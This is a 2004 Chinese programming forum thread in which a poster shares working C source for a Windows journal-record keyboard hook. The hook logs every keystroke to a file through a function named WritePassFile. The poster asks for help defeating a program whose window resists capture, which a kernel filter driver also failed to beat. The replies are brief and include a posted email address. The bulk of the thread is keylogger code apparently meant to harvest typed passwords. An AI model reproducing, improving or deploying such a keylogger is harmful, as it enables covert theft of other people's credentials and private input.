阅读:1036回复:4
极度郁闷,奇怪的键盘钩子问题,工作急用,急救。。。。
我看这里人气高,所以来这里问问,WIN32SDK问题,但是用SDK似乎解决不了了。。。各位大哥帮下忙好不?
我写了个日志钩子 JournalRecordProc 。。。。 主要是用来记录所有的键盘的击键。。。。。。。今天在测试的时候发现个奇怪的问题。。。 有一个程序的主窗体,在他的窗体里的击键。。。我的程序记录下来的不正常。。。。具体就是,如果 是我在那个程序的窗体里输入的是字符,那么,不管我输入的是什么字符,键盘记录下来的都是一个字符'a',我敲一个字符,就多记录一个'a',如果我输入的是数字,那么就记录为'1', 很是奇怪。。。。。。其他的程序都没有问题。。。。都可以正常记录。。。。不知道这是为什么。。。。。想各位大哥帮我看看。。。 LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam) { EVENTMSG *pMess=(EVENTMSG *)lParam; switch(pMess->message) { case WM_KEYDOWN: WritePassFile(LOBYTE(pMess->paramL)); break; } return CallNextHookEx(hHook,nCode,wParam,lParam); } TCHAR WINAPI GetKey(int nKey) { KEYDATA kd; kd.kShift=GetKeyState(VK_SHIFT); kd.kCaps=GetKeyState(0x14); kd.kNum=GetKeyState(0x90); kd.bShift=(kd.kShift & KeyPMask)==KeyPMask; kd.bCaps=(kd.kCaps & 1)==1; kd.bNum=(kd.kNum & 1)==1; if(nKey>=48 && nKey<=57) if(!kd.bShift) return (kd.kKey=nKey); if(nKey>=65 && nKey<=90) { if(!kd.bCaps) if(kd.bShift) kd.kKey=nKey; else kd.kKey=nKey+32; else if (kd.bShift) kd.kKey=nKey+32; else kd.kKey=nKey; return kd.kKey; } if(nKey>=96 && nKey<=105) if(kd.bNum) return (kd.kKey=(nKey-96+48)); if(nKey>=186 && nKey<=222) { switch(nKey) { case 186: if(!kd.bShift) kd.kKey=';';else kd.kKey=':'; break; case 187: if(!kd.bShift) kd.kKey='=';else kd.kKey='+' ; break; case 188: if (!kd.bShift) kd.kKey=',';else kd.kKey='<' ; break; case 189: if (!kd.bShift) kd.kKey='-';else kd.kKey='_' ; break; case 190: if (!kd.bShift) kd.kKey='.';else kd.kKey='>' ; break; case 191: if (!kd.bShift) kd.kKey='/';else kd.kKey='?' ; break; case 192: if (!kd.bShift) kd.kKey='`' ; else kd.kKey='~' ; break; case 219: if (!kd.bShift) kd.kKey='[' ; else kd.kKey='{' ; break; case 220: if (!kd.bShift) kd.kKey='\\' ; else kd.kKey='|' ; break; case 221: if (!kd.bShift) kd.kKey=']' ; else kd.kKey='}' ; break; case 222: if (!kd.bShift) kd.kKey='\\'; else kd.kKey='\\'; break; default:kd.kKey='n' ;break; } if(kd.kKey!='n') return kd.kKey; } return 0; } //----------------------------------------------------------------------------------------------- void WINAPI WritePassFile(int nKey) { HANDLE hFile; DWORD dwBytesWrite=1; TCHAR lpStr,szTemp[MAX_PATH]; hFile=CreateFile( "D:\\log.txt", GENERIC_READ|GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); SetFilePointer(hFile,0,NULL,FILE_END); lpStr=GetKey(nKey); WriteFile(hFile,&lpStr,1,&dwBytesWrite,0); CloseHandle(hFile); } 这是我的钩子。。。网上找的例子。。。应该没有问题的。。。。 另外。。。 我试过,在那个程序后面才启动我的程序,也记录不到,我用的是日志钩子。。。。不知道是不是我的方法不对了。。。。 还有。。。那程序实在是太厉害了。。。 我试过用核心态的键盘驱动过滤的程序来记录击键,就试2000下,调用SYS和VXD来直接对按键进行过滤的那种方法。。。本以为一定可以。。。谁知道。。。我晕哦。。。在那程序的窗口里记录出来的都是NONE。。。。这可是驱动的过滤啊。。。。。。。没辙了。。。高手帮忙分析下啊。。。。嫌分太少了,我可以另外开贴给。。。。 |
|
沙发#
发布于:2004-09-24 05:52
ding........
|
|
板凳#
发布于:2004-09-24 15:05
su
|
|
地板#
发布于:2004-09-25 16:23
是不是你那个程序比较特殊???
我以前也写过,你用我这个测一测 |
|
|
地下室#
发布于:2004-10-08 20:10
兄弟,谢谢了啊,给个QQ,交个朋友,
我的邮箱是ringice0080@21cn.com 麻烦你给发我邮箱里也行。。。。 |
|